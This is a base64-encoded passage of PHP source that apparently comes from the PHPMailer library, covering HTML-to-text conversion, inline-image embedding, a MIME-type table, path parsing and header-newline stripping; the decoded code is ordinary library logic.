IH0KICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgKICAgICAgICAgICAgICAgICAgICAvLyBPbmx5IHByb2Nlc3MgcmVsYXRpdmUgVVJMcyBpZiBhIGJhc2VkaXIgaXMgcHJvdmlkZWQgKGkuZS4gbm8gYWJzb2x1dGUgbG9jYWwgcGF0aHMpCiAgICAgICAgICAgICAgICAgICAgIWVtcHR5KCRiYXNlZGlyKQogICAgICAgICAgICAgICAgICAgIC8vIElnbm9yZSBVUkxzIGNvbnRhaW5pbmcgcGFyZW50IGRpciB0cmF2ZXJzYWwgKC4uKQogICAgICAgICAgICAgICAgICAgICYmIChzdHJwb3MoJHVybCwgJy4uJykgPT09IGZhbHNlKQogICAgICAgICAgICAgICAgICAgIC8vIERvIG5vdCBjaGFuZ2UgdXJscyB0aGF0IGFyZSBhbHJlYWR5IGlubGluZSBpbWFnZXMKICAgICAgICAgICAgICAgICAgICAmJiBzdWJzdHIoJHVybCwgMCwgNCkgIT09ICdjaWQ6JwogICAgICAgICAgICAgICAgICAgIC8vIERvIG5vdCBjaGFuZ2UgYWJzb2x1dGUgVVJMcywgaW5jbHVkaW5nIGFub255bW91cyBwcm90b2NvbAogICAgICAgICAgICAgICAgICAgICYmICFwcmVnX21hdGNoKCcjXlthLXpdW2EtejAtOSsuLV0qOj8vLyNpJywgJHVybCkKICAgICAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgICAgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCR1cmwpOwogICAgICAgICAgICAgICAgICAgICRkaXJlY3RvcnkgPSBkaXJuYW1lKCR1cmwpOwogICAgICAgICAgICAgICAgICAgIGlmICgkZGlyZWN0b3J5ID09ICcuJykgewogICAgICAgICAgICAgICAgICAgICAgICAkZGlyZWN0b3J5ID0gJyc7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRjaWQgPSBtZDUoJHVybCkgLiAnQHBocG1haWxlci4wJzsgLy8gUkZDMjM5MiBTIDIKICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRkaXJlY3RvcnkpID4gMSAmJiBzdWJzdHIoJGRpcmVjdG9yeSwgLTEpICE9ICcvJykgewogICAgICAgICAgICAgICAgICAgICAgICAkZGlyZWN0b3J5IC49ICcvJzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRFbWJlZGRlZEltYWdlKAogICAgICAgICAgICAgICAgICAgICAgICAkYmFzZWRpciAuICRkaXJlY3RvcnkgLiAkZmlsZW5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICRjaWQsCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlbmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgJ2Jhc2U2NCcsCiAgICAgICAgICAgICAgICAgICAgICAgIHNlbGY6Ol9taW1lX3R5cGVzKChzdHJpbmcpc2VsZjo6bWJfcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pKQogICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSBwcmVnX3JlcGxhY2UoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnLycgLiAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPVsiXCddJyAuIHByZWdfcXVvdGUoJHVybCwgJy8nKSAuICdbIlwnXS9VaScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPSJjaWQ6JyAuICRjaWQgLiAnIicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZQogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkdGhpcy0+aXNIVE1MKHRydWUpOwogICAgICAgIC8vIENvbnZlcnQgYWxsIG1lc3NhZ2UgYm9keSBsaW5lIGJyZWFrcyB0byBDUkxGLCBtYWtlcyBxdW90ZWQtcHJpbnRhYmxlIGVuY29kaW5nIHdvcmsgbXVjaCBiZXR0ZXIKICAgICAgICAkdGhpcy0+Qm9keSA9ICR0aGlzLT5ub3JtYWxpemVCcmVha3MoJG1lc3NhZ2UpOwogICAgICAgICR0aGlzLT5BbHRCb2R5ID0gJHRoaXMtPm5vcm1hbGl6ZUJyZWFrcygkdGhpcy0+aHRtbDJ0ZXh0KCRtZXNzYWdlLCAkYWR2YW5jZWQpKTsKICAgICAgICBpZiAoISR0aGlzLT5hbHRlcm5hdGl2ZUV4aXN0cygpKSB7CiAgICAgICAgICAgICR0aGlzLT5BbHRCb2R5ID0gJ1RvIHZpZXcgdGhpcyBlbWFpbCBtZXNzYWdlLCBvcGVuIGl0IGluIGEgcHJvZ3JhbSB0aGF0IHVuZGVyc3RhbmRzIEhUTUwhJyAuCiAgICAgICAgICAgICAgICBzZWxmOjpDUkxGIC4gc2VsZjo6Q1JMRjsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICR0aGlzLT5Cb2R5OwogICAgfQoKICAgIC8qKgogICAgICogQ29udmVydCBhbiBIVE1MIHN0cmluZyBpbnRvIHBsYWluIHRleHQuCiAgICAgKiBUaGlzIGlzIHVzZWQgYnkgbXNnSFRNTCgpLgogICAgICogTm90ZSAtIG9sZGVyIHZlcnNpb25zIG9mIHRoaXMgZnVuY3Rpb24gdXNlZCBhIGJ1bmRsZWQgYWR2YW5jZWQgY29udmVydGVyCiAgICAgKiB3aGljaCB3YXMgYmVlbiByZW1vdmVkIGZvciBsaWNlbnNlIHJlYXNvbnMgaW4gIzIzMi4KICAgICAqIEV4YW1wbGUgdXNhZ2U6CiAgICAgKiA8Y29kZT4KICAgICAqIC8vIFVzZSBkZWZhdWx0IGNvbnZlcnNpb24KICAgICAqICRwbGFpbiA9ICRtYWlsLT5odG1sMnRleHQoJGh0bWwpOwogICAgICogLy8gVXNlIHlvdXIgb3duIGN1c3RvbSBjb252ZXJ0ZXIKICAgICAqICRwbGFpbiA9ICRtYWlsLT5odG1sMnRleHQoJGh0bWwsIGZ1bmN0aW9uKCRodG1sKSB7CiAgICAgKiAgICAgJGNvbnZlcnRlciA9IG5ldyBNeUh0bWwydGV4dCgkaHRtbCk7CiAgICAgKiAgICAgcmV0dXJuICRjb252ZXJ0ZXItPmdldF90ZXh0KCk7CiAgICAgKiB9KTsKICAgICAqIDwvY29kZT4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGh0bWwgVGhlIEhUTUwgdGV4dCB0byBjb252ZXJ0CiAgICAgKiBAcGFyYW0gYm9vbGVhbnxjYWxsYWJsZSAkYWR2YW5jZWQgQW55IGJvb2xlYW4gdmFsdWUgdG8gdXNlIHRoZSBpbnRlcm5hbCBjb252ZXJ0ZXIsCiAgICAgKiAgIG9yIHByb3ZpZGUgeW91ciBvd24gY2FsbGFibGUgZm9yIGN1c3RvbSBjb252ZXJzaW9uLgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGh0bWwydGV4dCgkaHRtbCwgJGFkdmFuY2VkID0gZmFsc2UpCiAgICB7CiAgICAgICAgaWYgKGlzX2NhbGxhYmxlKCRhZHZhbmNlZCkpIHsKICAgICAgICAgICAgcmV0dXJuIGNhbGxfdXNlcl9mdW5jKCRhZHZhbmNlZCwgJGh0bWwpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gaHRtbF9lbnRpdHlfZGVjb2RlKAogICAgICAgICAgICB0cmltKHN0cmlwX3RhZ3MocHJlZ19yZXBsYWNlKCcvPChoZWFkfHRpdGxlfHN0eWxlfHNjcmlwdClbXj5dKj4uKj88XC9cXDE+L3NpJywgJycsICRodG1sKSkpLAogICAgICAgICAgICBFTlRfUVVPVEVTLAogICAgICAgICAgICAkdGhpcy0+Q2hhclNldAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgdGhlIE1JTUUgdHlwZSBmb3IgYSBmaWxlIGV4dGVuc2lvbi4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGV4dCBGaWxlIGV4dGVuc2lvbgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nIE1JTUUgdHlwZSBvZiBmaWxlLgogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIF9taW1lX3R5cGVzKCRleHQgPSAnJykKICAgIHsKICAgICAgICAkbWltZXMgPSBhcnJheSgKICAgICAgICAgICAgJ3hsJyAgICA9PiAnYXBwbGljYXRpb24vZXhjZWwnLAogICAgICAgICAgICAnanMnICAgID0+ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JywKICAgICAgICAgICAgJ2hxeCcgICA9PiAnYXBwbGljYXRpb24vbWFjLWJpbmhleDQwJywKICAgICAgICAgICAgJ2NwdCcgICA9PiAnYXBwbGljYXRpb24vbWFjLWNvbXBhY3Rwcm8nLAogICAgICAgICAgICAnYmluJyAgID0+ICdhcHBsaWNhdGlvbi9tYWNiaW5hcnknLAogICAgICAgICAgICAnZG9jJyAgID0+ICdhcHBsaWNhdGlvbi9tc3dvcmQnLAogICAgICAgICAgICAnd29yZCcgID0+ICdhcHBsaWNhdGlvbi9tc3dvcmQnLAogICAgICAgICAgICAneGxzeCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQuc3ByZWFkc2hlZXRtbC5zaGVldCcsCiAgICAgICAgICAgICd4bHR4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5zcHJlYWRzaGVldG1sLnRlbXBsYXRlJywKICAgICAgICAgICAgJ3BvdHgnICA9PiAnYXBwbGljYXRpb24vdm5kLm9wZW54bWxmb3JtYXRzLW9mZmljZWRvY3VtZW50LnByZXNlbnRhdGlvbm1sLnRlbXBsYXRlJywKICAgICAgICAgICAgJ3Bwc3gnICA9PiAnYXBwbGljYXRpb24vdm5kLm9wZW54bWxmb3JtYXRzLW9mZmljZWRvY3VtZW50LnByZXNlbnRhdGlvbm1sLnNsaWRlc2hvdycsCiAgICAgICAgICAgICdwcHR4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5wcmVzZW50YXRpb25tbC5wcmVzZW50YXRpb24nLAogICAgICAgICAgICAnc2xkeCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQucHJlc2VudGF0aW9ubWwuc2xpZGUnLAogICAgICAgICAgICAnZG9jeCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQud29yZHByb2Nlc3NpbmdtbC5kb2N1bWVudCcsCiAgICAgICAgICAgICdkb3R4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC53b3JkcHJvY2Vzc2luZ21sLnRlbXBsYXRlJywKICAgICAgICAgICAgJ3hsYW0nICA9PiAnYXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsLmFkZGluLm1hY3JvRW5hYmxlZC4xMicsCiAgICAgICAgICAgICd4bHNiJyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5tcy1leGNlbC5zaGVldC5iaW5hcnkubWFjcm9FbmFibGVkLjEyJywKICAgICAgICAgICAgJ2NsYXNzJyA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2RsbCcgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2RtcycgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2V4ZScgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2xoYScgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ2x6aCcgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ3BzZCcgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ3NlYScgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ3NvJyAgICA9PiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJywKICAgICAgICAgICAgJ29kYScgICA9PiAnYXBwbGljYXRpb24vb2RhJywKICAgICAgICAgICAgJ3BkZicgICA9PiAnYXBwbGljYXRpb24vcGRmJywKICAgICAgICAgICAgJ2FpJyAgICA9PiAnYXBwbGljYXRpb24vcG9zdHNjcmlwdCcsCiAgICAgICAgICAgICdlcHMnICAgPT4gJ2FwcGxpY2F0aW9uL3Bvc3RzY3JpcHQnLAogICAgICAgICAgICAncHMnICAgID0+ICdhcHBsaWNhdGlvbi9wb3N0c2NyaXB0JywKICAgICAgICAgICAgJ3NtaScgICA9PiAnYXBwbGljYXRpb24vc21pbCcsCiAgICAgICAgICAgICdzbWlsJyAgPT4gJ2FwcGxpY2F0aW9uL3NtaWwnLAogICAgICAgICAgICAnbWlmJyAgID0+ICdhcHBsaWNhdGlvbi92bmQubWlmJywKICAgICAgICAgICAgJ3hscycgICA9PiAnYXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsJywKICAgICAgICAgICAgJ3BwdCcgICA9PiAnYXBwbGljYXRpb24vdm5kLm1zLXBvd2VycG9pbnQnLAogICAgICAgICAgICAnd2J4bWwnID0+ICdhcHBsaWNhdGlvbi92bmQud2FwLndieG1sJywKICAgICAgICAgICAgJ3dtbGMnICA9PiAnYXBwbGljYXRpb24vdm5kLndhcC53bWxjJywKICAgICAgICAgICAgJ2RjcicgICA9PiAnYXBwbGljYXRpb24veC1kaXJlY3RvcicsCiAgICAgICAgICAgICdkaXInICAgPT4gJ2FwcGxpY2F0aW9uL3gtZGlyZWN0b3InLAogICAgICAgICAgICAnZHhyJyAgID0+ICdhcHBsaWNhdGlvbi94LWRpcmVjdG9yJywKICAgICAgICAgICAgJ2R2aScgICA9PiAnYXBwbGljYXRpb24veC1kdmknLAogICAgICAgICAgICAnZ3RhcicgID0+ICdhcHBsaWNhdGlvbi94LWd0YXInLAogICAgICAgICAgICAncGhwMycgID0+ICdhcHBsaWNhdGlvbi94LWh0dHBkLXBocCcsCiAgICAgICAgICAgICdwaHA0JyAgPT4gJ2FwcGxpY2F0aW9uL3gtaHR0cGQtcGhwJywKICAgICAgICAgICAgJ3BocCcgICA9PiAnYXBwbGljYXRpb24veC1odHRwZC1waHAnLAogICAgICAgICAgICAncGh0bWwnID0+ICdhcHBsaWNhdGlvbi94LWh0dHBkLXBocCcsCiAgICAgICAgICAgICdwaHBzJyAgPT4gJ2FwcGxpY2F0aW9uL3gtaHR0cGQtcGhwLXNvdXJjZScsCiAgICAgICAgICAgICdzd2YnICAgPT4gJ2FwcGxpY2F0aW9uL3gtc2hvY2t3YXZlLWZsYXNoJywKICAgICAgICAgICAgJ3NpdCcgICA9PiAnYXBwbGljYXRpb24veC1zdHVmZml0JywKICAgICAgICAgICAgJ3RhcicgICA9PiAnYXBwbGljYXRpb24veC10YXInLAogICAgICAgICAgICAndGd6JyAgID0+ICdhcHBsaWNhdGlvbi94LXRhcicsCiAgICAgICAgICAgICd4aHQnICAgPT4gJ2FwcGxpY2F0aW9uL3hodG1sK3htbCcsCiAgICAgICAgICAgICd4aHRtbCcgPT4gJ2FwcGxpY2F0aW9uL3hodG1sK3htbCcsCiAgICAgICAgICAgICd6aXAnICAgPT4gJ2FwcGxpY2F0aW9uL3ppcCcsCiAgICAgICAgICAgICdtaWQnICAgPT4gJ2F1ZGlvL21pZGknLAogICAgICAgICAgICAnbWlkaScgID0+ICdhdWRpby9taWRpJywKICAgICAgICAgICAgJ21wMicgICA9PiAnYXVkaW8vbXBlZycsCiAgICAgICAgICAgICdtcDMnICAgPT4gJ2F1ZGlvL21wZWcnLAogICAgICAgICAgICAnbXBnYScgID0+ICdhdWRpby9tcGVnJywKICAgICAgICAgICAgJ2FpZicgICA9PiAnYXVkaW8veC1haWZmJywKICAgICAgICAgICAgJ2FpZmMnICA9PiAnYXVkaW8veC1haWZmJywKICAgICAgICAgICAgJ2FpZmYnICA9PiAnYXVkaW8veC1haWZmJywKICAgICAgICAgICAgJ3JhbScgICA9PiAnYXVkaW8veC1wbi1yZWFsYXVkaW8nLAogICAgICAgICAgICAncm0nICAgID0+ICdhdWRpby94LXBuLXJlYWxhdWRpbycsCiAgICAgICAgICAgICdycG0nICAgPT4gJ2F1ZGlvL3gtcG4tcmVhbGF1ZGlvLXBsdWdpbicsCiAgICAgICAgICAgICdyYScgICAgPT4gJ2F1ZGlvL3gtcmVhbGF1ZGlvJywKICAgICAgICAgICAgJ3dhdicgICA9PiAnYXVkaW8veC13YXYnLAogICAgICAgICAgICAnYm1wJyAgID0+ICdpbWFnZS9ibXAnLAogICAgICAgICAgICAnZ2lmJyAgID0+ICdpbWFnZS9naWYnLAogICAgICAgICAgICAnanBlZycgID0+ICdpbWFnZS9qcGVnJywKICAgICAgICAgICAgJ2pwZScgICA9PiAnaW1hZ2UvanBlZycsCiAgICAgICAgICAgICdqcGcnICAgPT4gJ2ltYWdlL2pwZWcnLAogICAgICAgICAgICAncG5nJyAgID0+ICdpbWFnZS9wbmcnLAogICAgICAgICAgICAndGlmZicgID0+ICdpbWFnZS90aWZmJywKICAgICAgICAgICAgJ3RpZicgICA9PiAnaW1hZ2UvdGlmZicsCiAgICAgICAgICAgICdlbWwnICAgPT4gJ21lc3NhZ2UvcmZjODIyJywKICAgICAgICAgICAgJ2NzcycgICA9PiAndGV4dC9jc3MnLAogICAgICAgICAgICAnaHRtbCcgID0+ICd0ZXh0L2h0bWwnLAogICAgICAgICAgICAnaHRtJyAgID0+ICd0ZXh0L2h0bWwnLAogICAgICAgICAgICAnc2h0bWwnID0+ICd0ZXh0L2h0bWwnLAogICAgICAgICAgICAnbG9nJyAgID0+ICd0ZXh0L3BsYWluJywKICAgICAgICAgICAgJ3RleHQnICA9PiAndGV4dC9wbGFpbicsCiAgICAgICAgICAgICd0eHQnICAgPT4gJ3RleHQvcGxhaW4nLAogICAgICAgICAgICAncnR4JyAgID0+ICd0ZXh0L3JpY2h0ZXh0JywKICAgICAgICAgICAgJ3J0ZicgICA9PiAndGV4dC9ydGYnLAogICAgICAgICAgICAndmNmJyAgID0+ICd0ZXh0L3ZjYXJkJywKICAgICAgICAgICAgJ3ZjYXJkJyA9PiAndGV4dC92Y2FyZCcsCiAgICAgICAgICAgICd4bWwnICAgPT4gJ3RleHQveG1sJywKICAgICAgICAgICAgJ3hzbCcgICA9PiAndGV4dC94bWwnLAogICAgICAgICAgICAnbXBlZycgID0+ICd2aWRlby9tcGVnJywKICAgICAgICAgICAgJ21wZScgICA9PiAndmlkZW8vbXBlZycsCiAgICAgICAgICAgICdtcGcnICAgPT4gJ3ZpZGVvL21wZWcnLAogICAgICAgICAgICAnbW92JyAgID0+ICd2aWRlby9xdWlja3RpbWUnLAogICAgICAgICAgICAncXQnICAgID0+ICd2aWRlby9xdWlja3RpbWUnLAogICAgICAgICAgICAncnYnICAgID0+ICd2aWRlby92bmQucm4tcmVhbHZpZGVvJywKICAgICAgICAgICAgJ2F2aScgICA9PiAndmlkZW8veC1tc3ZpZGVvJywKICAgICAgICAgICAgJ21vdmllJyA9PiAndmlkZW8veC1zZ2ktbW92aWUnCiAgICAgICAgKTsKICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cyhzdHJ0b2xvd2VyKCRleHQpLCAkbWltZXMpKSB7CiAgICAgICAgICAgIHJldHVybiAkbWltZXNbc3RydG9sb3dlcigkZXh0KV07CiAgICAgICAgfQogICAgICAgIHJldHVybiAnYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJzsKICAgIH0KCiAgICAvKioKICAgICAqIE1hcCBhIGZpbGUgbmFtZSB0byBhIE1JTUUgdHlwZS4KICAgICAqIERlZmF1bHRzIHRvICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nLCBpLmUuLiBhcmJpdHJhcnkgYmluYXJ5IGRhdGEuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRmaWxlbmFtZSBBIGZpbGUgbmFtZSBvciBmdWxsIHBhdGgsIGRvZXMgbm90IG5lZWQgdG8gZXhpc3QgYXMgYSBmaWxlCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIGZpbGVuYW1lVG9UeXBlKCRmaWxlbmFtZSkKICAgIHsKICAgICAgICAvLyBJbiBjYXNlIHRoZSBwYXRoIGlzIGEgVVJMLCBzdHJpcCBhbnkgcXVlcnkgc3RyaW5nIGJlZm9yZSBnZXR0aW5nIGV4dGVuc2lvbgogICAgICAgICRxcG9zID0gc3RycG9zKCRmaWxlbmFtZSwgJz8nKTsKICAgICAgICBpZiAoZmFsc2UgIT09ICRxcG9zKSB7CiAgICAgICAgICAgICRmaWxlbmFtZSA9IHN1YnN0cigkZmlsZW5hbWUsIDAsICRxcG9zKTsKICAgICAgICB9CiAgICAgICAgJHBhdGhpbmZvID0gc2VsZjo6bWJfcGF0aGluZm8oJGZpbGVuYW1lKTsKICAgICAgICByZXR1cm4gc2VsZjo6X21pbWVfdHlwZXMoJHBhdGhpbmZvWydleHRlbnNpb24nXSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBNdWx0aS1ieXRlLXNhZmUgcGF0aGluZm8gcmVwbGFjZW1lbnQuCiAgICAgKiBEcm9wLWluIHJlcGxhY2VtZW50IGZvciBwYXRoaW5mbygpLCBidXQgbXVsdGlieXRlLXNhZmUsIGNyb3NzLXBsYXRmb3JtLXNhZmUsIG9sZC12ZXJzaW9uLXNhZmUuCiAgICAgKiBXb3JrcyBzaW1pbGFybHkgdG8gdGhlIG9uZSBpbiBQSFAgPj0gNS4yLjAKICAgICAqIEBsaW5rIGh0dHA6Ly93d3cucGhwLm5ldC9tYW51YWwvZW4vZnVuY3Rpb24ucGF0aGluZm8ucGhwIzEwNzQ2MQogICAgICogQHBhcmFtIHN0cmluZyAkcGF0aCBBIGZpbGVuYW1lIG9yIHBhdGgsIGRvZXMgbm90IG5lZWQgdG8gZXhpc3QgYXMgYSBmaWxlCiAgICAgKiBAcGFyYW0gaW50ZWdlcnxzdHJpbmcgJG9wdGlvbnMgRWl0aGVyIGEgUEFUSElORk9fKiBjb25zdGFudCwKICAgICAqICAgICAgb3IgYSBzdHJpbmcgbmFtZSB0byByZXR1cm4gb25seSB0aGUgc3BlY2lmaWVkIHBpZWNlLCBhbGxvd3MgJ2ZpbGVuYW1lJyB0byB3b3JrIG9uIFBIUCA8IDUuMgogICAgICogQHJldHVybiBzdHJpbmd8YXJyYXkKICAgICAqIEBzdGF0aWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBtYl9wYXRoaW5mbygkcGF0aCwgJG9wdGlvbnMgPSBudWxsKQogICAgewogICAgICAgICRyZXQgPSBhcnJheSgnZGlybmFtZScgPT4gJycsICdiYXNlbmFtZScgPT4gJycsICdleHRlbnNpb24nID0+ICcnLCAnZmlsZW5hbWUnID0+ICcnKTsKICAgICAgICAkcGF0aGluZm8gPSBhcnJheSgpOwogICAgICAgIGlmIChwcmVnX21hdGNoKCclXiguKj8pW1xcXFwvXSooKFteL1xcXFxdKj8pKFwuKFteXC5cXFxcL10rPyl8KSlbXFxcXC9cLl0qJCVpbScsICRwYXRoLCAkcGF0aGluZm8pKSB7CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDEsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2Rpcm5hbWUnXSA9ICRwYXRoaW5mb1sxXTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cygyLCAkcGF0aGluZm8pKSB7CiAgICAgICAgICAgICAgICAkcmV0WydiYXNlbmFtZSddID0gJHBhdGhpbmZvWzJdOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDUsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2V4dGVuc2lvbiddID0gJHBhdGhpbmZvWzVdOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKDMsICRwYXRoaW5mbykpIHsKICAgICAgICAgICAgICAgICRyZXRbJ2ZpbGVuYW1lJ10gPSAkcGF0aGluZm9bM107CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgc3dpdGNoICgkb3B0aW9ucykgewogICAgICAgICAgICBjYXNlIFBBVEhJTkZPX0RJUk5BTUU6CiAgICAgICAgICAgIGNhc2UgJ2Rpcm5hbWUnOgogICAgICAgICAgICAgICAgcmV0dXJuICRyZXRbJ2Rpcm5hbWUnXTsKICAgICAgICAgICAgY2FzZSBQQVRISU5GT19CQVNFTkFNRToKICAgICAgICAgICAgY2FzZSAnYmFzZW5hbWUnOgogICAgICAgICAgICAgICAgcmV0dXJuICRyZXRbJ2Jhc2VuYW1lJ107CiAgICAgICAgICAgIGNhc2UgUEFUSElORk9fRVhURU5TSU9OOgogICAgICAgICAgICBjYXNlICdleHRlbnNpb24nOgogICAgICAgICAgICAgICAgcmV0dXJuICRyZXRbJ2V4dGVuc2lvbiddOwogICAgICAgICAgICBjYXNlIFBBVEhJTkZPX0ZJTEVOQU1FOgogICAgICAgICAgICBjYXNlICdmaWxlbmFtZSc6CiAgICAgICAgICAgICAgICByZXR1cm4gJHJldFsnZmlsZW5hbWUnXTsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIHJldHVybiAkcmV0OwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIFNldCBvciByZXNldCBpbnN0YW5jZSBwcm9wZXJ0aWVzLgogICAgICogWW91IHNob3VsZCBhdm9pZCB0aGlzIGZ1bmN0aW9uIC0gaXQncyBtb3JlIHZlcmJvc2UsIGxlc3MgZWZmaWNpZW50LCBtb3JlIGVycm9yLXByb25lIGFuZAogICAgICogaGFyZGVyIHRvIGRlYnVnIHRoYW4gc2V0dGluZyBwcm9wZXJ0aWVzIGRpcmVjdGx5LgogICAgICogVXNhZ2UgRXhhbXBsZToKICAgICAqIGAkbWFpbC0+c2V0KCdTTVRQU2VjdXJlJywgJ3RscycpO2AKICAgICAqICAgaXMgdGhlIHNhbWUgYXM6CiAgICAgKiBgJG1haWwtPlNNVFBTZWN1cmUgPSAndGxzJztgCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkbmFtZSBUaGUgcHJvcGVydHkgbmFtZSB0byBzZXQKICAgICAqIEBwYXJhbSBtaXhlZCAkdmFsdWUgVGhlIHZhbHVlIHRvIHNldCB0aGUgcHJvcGVydHkgdG8KICAgICAqIEByZXR1cm4gYm9vbGVhbgogICAgICogQFRPRE8gU2hvdWxkIHRoaXMgbm90IGJlIHVzaW5nIHRoZSBfX3NldCgpIG1hZ2ljIGZ1bmN0aW9uPwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gc2V0KCRuYW1lLCAkdmFsdWUgPSAnJykKICAgIHsKICAgICAgICBpZiAocHJvcGVydHlfZXhpc3RzKCR0aGlzLCAkbmFtZSkpIHsKICAgICAgICAgICAgJHRoaXMtPiRuYW1lID0gJHZhbHVlOwogICAgICAgICAgICByZXR1cm4gdHJ1ZTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJHRoaXMtPmxhbmcoJ3ZhcmlhYmxlX3NldCcpIC4gJG5hbWUpOwogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogU3RyaXAgbmV3bGluZXMgdG8gcHJldmVudCBoZWFkZXIgaW5qZWN0aW9uLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0cgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNlY3VyZUhlYWRlcigkc3RyKQogICAgewogICAgICAgIHJldHVybiB0cmltKHN0cl9yZXBsYWNlKGFycmF5KCJcciIsICJcbiIpLCAnJywgJHN0cikpOwogICAgfQoKICAgIC8qKgogICAgICogTm9ybWFsaXplIGxpbmUgYnJlYWtzIGluIGEgc3RyaW5nLgogICAgICogQ29udmVydHMgVU5JWCBMRiwgTWFjIENSIGFuZCBXaW5kb3dzIENSTEYgbGluZSBicmVha3MgaW50byBhIHNpbmdsZSBsaW5lIGJyZWFrIGZvcm1hdC4KICAgICAqIERlZmF1bHRzIHRvIENSTEYgKGZvciBtZXNzYWdlIGJvZGllcykgYW5kIHByZXNlcnZlcyBjb25zZWN1dGl2ZSBicmVha3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICR0ZXh0CiAgICAgKiBAcGFyY